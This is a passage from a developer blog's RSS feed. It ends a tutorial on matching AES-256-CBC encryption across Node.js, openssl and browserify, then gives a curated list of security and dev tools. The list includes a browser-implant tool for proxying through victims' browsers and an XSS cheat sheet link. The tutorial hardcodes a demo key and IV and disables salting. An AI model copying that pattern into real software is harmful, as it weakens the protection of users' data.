  //when using hex strings as IV/keys you can convert it into a buffer to make it work:
  //Buffer.from('1d6ef201e0e7a9019ddf8414034325e2','hex')

  //encrypting the storage location using the prepared cipher
  // our input is an object, so we first stringify it and set the input encoding to utf8, for our output we need base64 encoding
  let encrypted = projectConfigCipher.update(
    JSON.stringify(data),
    "utf8",
    "base64"
  );
  // finalize the encryption also with base64 output encoding
  encrypted += projectConfigCipher.final("base64");

  /***************************************************************
   * To be able to decrypt later, we need to save the IV and key somewhere.
   * it is recommended to store the iv together with the encrypted
   * data, but you should store the key separately. we save those values
   *  as hex-encoded strings - so the can later be converted into binary again
   ****************************************************************/
  const saveKey = key.toString("hex");
  const saveIV = IV.toString("hex");
  // the above strings can be directly interpreted by openssl
  // the above key can be converted to a buffer in node: Buffer.from(saveKey, 'hex')
  // the above key can be converted to binary using hexToBin() in the browser

  return encrypted;
};
</code></pre>
<ul>
<li><strong><code>OUTPUT_DATA</code></strong> = Z8QIo6YuR7DZqmHHV4WqqorUnUZ2n88gMFADMCt2FKUSgCV12rE4RpgPdjXMJJB2vNJZ+00LvE9nkn77fW0pf8c/tzW5MxQpzqV3A+HvniM= <code>//look what a nice base64 string</code></li>
<li><strong><code>OUTPUT_KEY</code></strong> = '5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9'</li>
<li><strong><code>OUTPUT_IV</code></strong> = '1d6ef201e0e7a9019ddf8414034325e2'</li>
</ul>
<p>Our output data looks good, so lets test what openssl can do with it!</p>
<h2 id="usingnodecryptosoutputasinputinopenssl">Using Node.crypto's output as input in openssl</h2>
<p>from node, we get the data shown above as files named <em>key</em> and <em>iv</em>
In my use case we only need the <code>key</code> and <code>IV</code> to encrypt a new config. I still did include a decryption example as well here.</p>
<p>Things to keep in mind:</p>
<ul>
<li>output encoding must be base64</li>
<li><code>-nosalt</code> option needs to be enabled</li>
<li><code>-A</code> option needs to be enabled</li>
</ul>
<pre><code class="bash language-bash">#########################################################################################
#                                                                                       #
#               ENCRYPTION FOR CLI IN / MACOS / LINUX / WINDOWS                         #
#                                                                                       #
#########################################################################################

#encrypt with key &amp; IV but no salt
#config.json contains the testdata defined above
cat config.json | openssl aes-256-cbc -iv $(cat iv)  -K $(cat key) -A -nosalt -base64

#decrypt with key IV and base64
# we use the output base64 string from node here
echo "Z8QIo6YuR7DZqmHHV4WqqorUnUZ2n88gMFADMCt2FKUSgCV12rE4RpgPdjXMJJB2vNJZ+00LvE9nkn77fW0pf8c/tzW5MxQpzqV3A+HvniM=" | openssl aes-256-cbc -d -iv $(cat iv)  -K $(cat key) -base64 -A
</code></pre>
<h3 id="encryptionoutput">Encryption output:</h3>
<ul>
<li><strong><code>OUTPUT_encrypt</code></strong> = Z8QIo6YuR7DZqmHHV4WqqorUnUZ2n88gMFADMCt2FKUn/ZeYUj1DEBNS2NthignUNR0hw+OOFU7qACKPZbxx8k0Pe0McXNDrOnUtl3dIwdg= <code>//looking good..</code></li>
</ul>
<h3 id="decryptionoutput">Decryption output:</h3>
<ul>
<li><strong><code>OUTPUT_decrypt</code></strong> = {"TestData":"w17h Spé^cIäl chàær§¢tèrs","OK":"://seems/fine?x=lol"} <code>//nice, thats our original data!</code></li>
</ul>
<p>Since our Output looks good and even the decryption worked fine, lets test what our browserify implementation can do with this.</p>
<h2 id="usingbrowserifytodecryptnodeoropensslinput">Using browserify to decrypt node or openssl input</h2>
<p>This code expects the following input:</p>
<ul>
<li>base64 encoded string to decrypt</li>
<li>iv in the form of a hex-encoded string</li>
<li>key in the form of a hex-encoded string</li>
</ul>
<p>I get the keys from process.env in this example. You could also receive them via input or even a file.</p>
<p>This code needs to be able to produce consistent output when receiving input from either node or openssl.</p>
<p>We had to create a custom function <code>hexToBin()</code> to convert a hex string into a binary array to be consumed by our cipher.</p>
<pre><code class="js language-js">import crypto from "browserify-aes";

/**********************************************************************
 *
 *        DECRYPTION MODULE FOR USE IN BROWSER DURING RUNTIME          *
 *
 ***********************************************************************/
const decrypt = (Base64Hash) =&gt; {
  const Key = process.env.APP_KEY; //hex encoded string
  const IV = process.env.APP_IV; //hex encoded string

  const hexToBin = (hex) =&gt; {
    //converts hex strings to binary arr
    for (var bytes = [], c = 0; c &lt; hex.length; c += 2) {
      bytes.push(parseInt(hex.substr(c, 2), 16));
    }
    return bytes;
  };

  //ein neuer cipher wird vorbereitet, mittels aes256, unserem 256 bit KEY und dem config IV
  const decipher = crypto.createDecipheriv(
    "aes256",
    hexToBin(Key),
    hexToBin(IV)
  );

  //der hash wird nun decrypted mittels dem zuvor erstellten cipher
  const decrypted = Buffer.concat([
    decipher.update(Buffer.from(Base64Hash, "base64")),
    decipher.final(),
  ]).toString("utf8");

  return JSON.parse(decrypted);
};
</code></pre>
<ul>
<li><strong><code>OUTPUT_openssl</code></strong> = {TestData: "w17h Spé^cIäl chàær§¢tèrs", OK: "://seems/fine?x=lol"} <code>//yes, thats our original input! :D</code></li>
<li><strong><code>OUTPUT_nodejs</code></strong> = {TestData: "w17h Spé^cIäl chàær§¢tèrs", OK: "://seems/fine?x=lol"} <code>//and we even handled the node version! sick!</code></li>
</ul>
<p>That's it! We did it yay!</p>
<blockquote>
  <p>Feel free to comment and discuss on my gist: <a href="https://gist.github.com/Lawlez/88e04e3541cc0608c953a118b86bfc1a">This project on gist</a></p>
</blockquote>]]></description><link>https://dev.lwlx.xyz/blog/blog/consistent-x-device-encryption-in-javascript</link><guid isPermaLink="true">https://dev.lwlx.xyz/blog/blog/consistent-x-device-encryption-in-javascript</guid><category><![CDATA[encryption]]></category><category><![CDATA[decryption]]></category><category><![CDATA[openssl]]></category><category><![CDATA[nodejs]]></category><category><![CDATA[php]]></category><dc:creator><![CDATA[lwlx]]></dc:creator><pubDate>Thu, 29 Oct 2020 10:26:43 GMT</pubDate></item><item><title><![CDATA[A Collection of useful Security and DevOps tools.]]></title><description><![CDATA[<h1 id="sicktools">sickTools</h1>
<p>a collection of useful, special, or just cool tools to use and try to get more done in less time.</p>
<hr />
<h2 id="appsectools">AppSec Tools</h2>
<ul>
<li>[x] <a href="https://github.com/CISOfy/lynis">lynis</a> | <code>active</code> |: Security auditing tool for Linux, macOS, and UNIX-based systems</li>
<li>[ ] <a href="https://github.com/nomasters/killcord">killcord</a> | <strong><code>new</code></strong> |: a censorship resistant deadman's switch</li>
<li>[x] <a href="https://github.com/zaproxy/zaproxy">OWASP ZAP</a> | <code>active</code> |: autodetect security vulnerabilities in your web applications while developing and testing your applications</li>
<li>[ ] <a href="https://github.com/Cisco-Talos/clamav-faq">ClamAV</a> | <strong><code>new</code></strong> |: open source antivirus engine for detecting trojans, viruses, malware &amp; other malicious threats.</li>
<li>[ ] <a href="https://github.com/skeeto/endlessh">endlessh</a> | <strong><code>new</code></strong> |: Endlessh is an SSH tarpit (honeypot) that very slowly sends an endless, random SSH banner</li>
</ul>
<hr />
<h2 id="automationtools">Automation Tools</h2>
<ul>
<li>[ ]</li>
</ul>
<hr />
<h2 id="developertools">developer Tools</h2>
<ul>
<li>[x] <a href="https://github.com/ipfs/js-ipfs">(js-) IPFS</a> | <code>active</code> |: A peer-to-peer hypermedia protocol
  designed to make the web faster, safer, and more open.</li>
<li>[ ] <a href="https://github.com/ml5js/ml5-library">ML5.js</a> | <em>tested</em> |: Friendly &amp; easy to use machine learning for the web!</li>
<li>[ ] <a href="https://github.com/tensorflow">TensorFlow</a> | <strong><code>new</code></strong> |: Open Source Machine Learning Framework (With extensive docs and big community)</li>
<li>[ ] <a href="https://github.com/denoland/deno">deno</a> | <em>testing</em> |: Deno aims to provide a productive and secure scripting environment for the modern programmer. It is built on top of V8, Rust, and TypeScript.</li>
<li>[x] <a href="https://github.com/pnpm/pnpm">PNPM</a> | <em>testing</em> |: Faster, disk space efficient package manager, with good monorepo support.</li>
<li>[ ] <a href="https://verdaccio.org/">verdaccio</a> | <strong><code>new</code></strong> |: A lightweight open source private npm proxy registry</li>
<li>[ ] <a href="https://github.com/caprover/caprover">caprover</a> | <strong><code>new</code></strong> |: Easiest app/database deployment platform and webserver package for your NodeJS, Python, PHP, Ruby, Go applications. No Docker, nginx knowledge required!</li>
</ul>
<hr />
<h2 id="misctools">misc Tools</h2>
<ul>
<li>[x] <a href="https://thehackerblog.com/galvanizer/">Chrome Galvanizer</a> | <em>tested</em> |: Harden your Chrome browser via enterprise policy.</li>
<li>[ ] <a href="https://github.com/mandatoryprogrammer/CursedChrome">Cursed Chrome</a> | <strong><code>new</code></strong> |: Chrome-extension implant that turns victim Chrome browsers into fully-functional HTTP proxies, allowing you to browse sites as your victims.</li>
<li>[x] <a href="https://github.com/nmap/nmap">NMAP</a> | <code>active</code> |: The #1 network scanner &amp; mapper</li>
<li>[x] <a href="https://github.com/vulnersCom/nmap-vulners">nmap-vulners</a> | <code>active</code> |: extension to NMAP that chekcs for more known vulns</li>
<li>[ ] <a href="https://github.com/lesspass/lesspass">lesspass</a> | <strong><code>new</code></strong> |: stateless open source password manager</li>
<li>[ ] <a href="https://grantproxy.com/">GrantProxy</a> | <strong><code>new</code></strong> |: Turn your web browser into a magic proxy server in one click.</li>
<li>[ ] <a href="https://github.com/ohmyzsh/ohmyzsh">ohmyzsh</a> | <strong><code>new</code></strong> |: A delightful community-driven framework for managing your zsh configuration. Includes 200+ plugins</li>
</ul>
<hr />
<h1 id="sickguides">sickGuides</h1>
<p>a collection of useful guides or tutorials to stay safe.</p>
<h2 id="securityguides">Security Guides</h2>
<ul>
<li>[x] <a href="https://cheatsheetseries.owasp.org/">OWASP Cheat Sheets</a> | <code>active</code> |: These cheat sheets were created by various application security professionals who have expertise in specific topics.</li>
<li>[ ] <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">PortSwigger XSS CheatSheet</a> | <code>active</code> |: An extensive list of known XSS vulns, sortable and searchable</li>
</ul>
<hr />
<h2 id="devguides">Dev Guides</h2>
<ul>
<li>[ ] <a href="https://htmlhead.dev/">HTMLHEAD.dev</a> : A free guide to HTML5 <head> elements</li>
<li>[ ] <a href="https://css-tricks.com/snippets/css/a-guide-to-flexbox/">CSS FlexBox Cheatsheet</a> | <code>active</code> |: the only CSS flexbox cheatsheet you'll need</li>
<li>[x] <a href="https://devdocs.io/">DevDocs.io</a> | <code>active</code> |: Huge, fast, searchable reporsitory for dev documentation, from java to docker, from rust to WordPress.</li>
<li>[ ] <a href="https://blog.bitsrc.io/how-to-set-up-a-private-npm-registry-locally-1065e6790796">Set Up a Private NPM Registry Locally</a> | <em>tested</em> |: using verdaccio to setup local NPM registry.</li>
<li>[ ] <a href="https://www.codegrepper.com/index.php">Grepper</a> | <strong><code>new</code></strong> |: Accrue code answers to common coding problems, find code answers without thinking - using Greppers “code problem” search engine.</li>
</ul>
<hr />
<h3 id="sources">Sources</h3>
<ul>
<li><a href="https://owasp.org/"><code>OWASP</code></a> — The Open Source Web Application Security Protocol</li>
<li><a href="https://github.com/mandatoryprogrammer/"><code>Matthew Bryant</code></a> — XSSHunter / chrome galvanizer</li>
<li><a href="https://skills.rendered.ch"><code>lwlx</code></a> — lwlx</li>
</ul>
<h2 id="license">License</h2>
<p><a href="LICENSE">The MIT License</a>.</p>
<ul>
<li><code>- [ ] ([tool name](&lt;link&gt;)|*tested*|**</code>new<code>**|deprecated|</code>active<code>): &lt;description&gt;</code></li>
</ul>]]></description><link>https://dev.lwlx.xyz/blog/blog/Sick-Security-and-Dev-Tools</link><guid isPermaLink="true">https://dev.lwlx.xyz/blog/blog/Sick-Security-and-Dev-Tools</guid><category><![CDATA[tools]]></category><category><![CDATA[devtools]]></category><category><![CDATA[security]]></category><category><![CDATA[javascript]]></category><category><![CDATA[devops]]></category><dc:creator><![CDATA[lwlx]]></dc:creator><pubDate>Tue, 22 Sep 2020 14:48:08 GMT</pubDate></item></channel></rss>